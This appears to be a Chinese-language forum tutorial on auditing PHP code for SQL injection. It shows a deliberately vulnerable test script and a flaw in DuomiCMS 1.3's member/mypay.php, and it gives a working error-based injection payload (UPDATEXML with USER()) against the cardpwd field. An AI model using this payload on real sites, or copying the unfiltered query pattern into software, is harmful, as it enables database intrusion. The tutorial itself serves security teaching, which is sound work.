设为首页 收藏本站
查看: 1131|回复: 0

[经验分享] PHP代码审计SQL注入篇

[复制链接]
累计签到:1 天
连续签到:1 天
发表于 2016-9-28 08:59:37 | 显示全部楼层 |阅读模式
什么是SQL注入
SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。
而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。
SQL注入实例
很多Web开发者没有意识到SQL查询是可以被篡改的,从而把SQL查询当作可信任的命令。殊不知,SQL查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过SQL查询去运行主机系统级的命令。
下面将通过一些真实的例子来详细讲解SQL注入的方式。
wKiom1fqW6CzzlmqAAArvxgj9ZA980.jpg

测试代码如下:
  • <?php
  • $uid=$_GET['id'];
  • $sql="SELECT * FROM userinfo where id=$uid";
  • $conn=mysql_connect ('localhost','root','root');
  • mysql_select_db("sql",$conn);
  • $result=mysql_query($sql,$conn);
  • print_r('当前SQL语句: '.$sql.'
    结果: ');
  • print_r(mysql_fetch_row($result));
  • ?>

wKiom1fqW6DBwDGsAABukPje0gY258.jpg

首先我们看一下代码:
  • $uid=$_GET['id']; //获取GET值

  • $sql="SELECT * FROM userinfo where id=$uid"; //执行SQL语句


  • $conn=mysql_connect ('localhost','root','root');
  • mysql_select_db("sql",$conn); //数据库配配置

  • $result=mysql_query($sql,$conn); //进行查询SQL语句

  • print_r('当前SQL语句: '.$sql.'
    结果: ');
  • print_r(mysql_fetch_row($result)); //进行打印输出没有任何的过滤所以利用简单的SQL注入语句就可以直接查询相关需要的信息。

wKioL1fqW6CDGhQCAAA1a1HL22s243.jpg




从截图可以看出原本的SQL语句已被注入更改,使用了UNION查询到当前用户。


另外一个多米CMS最新版1.3版本注入实例。
漏洞文件member/mypay.php(14-40行)

  • if(empty($_SESSION['duomi_user_id'])){
  •     showMsg("请先登录","login.php");
  •     exit();
  • }
  • elseif($dm=='mypay'){
  •     $key=$_POST['cardkey'];
  •     if($key==""){showMsg("请输入充值卡号","-1");exit;}
  •     $pwd=$_POST['cardpwd'];
  •     if($pwd==""){showMsg("请输入充值卡密码","-1");exit;}
  •     $sqlt="SELECT * FROM duomi_card where ckey='$key'";
  •     $sqlt="SELECT * FROM duomi_card where cpwd='$pwd'";
  •        $row1 = $dsql->GetOne($sqlt);
  •     if(!is_array($row1) OR $row1['status']<>0){
  •         showMsg("充值卡信息有误","-1");exit;
  •     }else{
  •         $uname=$_SESSION['duomi_user_name'];
  •         $points=$row1['climit'];
  •         $dsql->executeNoneQuery("UPDATE duomi_card SET    usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'");
  •         $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'");
  •         $dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username='$uname'");
  •         showMsg("恭喜!充值成功!","mypay.php");exit;
  •     }
  • }
  • else
  • {



此处的”cardpwd”变量没有进行过滤就以POST提交方式传入了数据库造成注入。 构造POC如下(注意此处需要注册用户并且登陆详情请看该文件1-17行):


  • http://localhost/member/mypay.php?dm=mypay
  • POST:cardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1



wKiom1fqW6SyRqSVAAaujWsex0Y295.jpg




运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-278477-1-1.html 上篇帖子: 解决PHP scandir()异常返回空问题 下篇帖子: 如何安装php memcache的拓展 审计
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表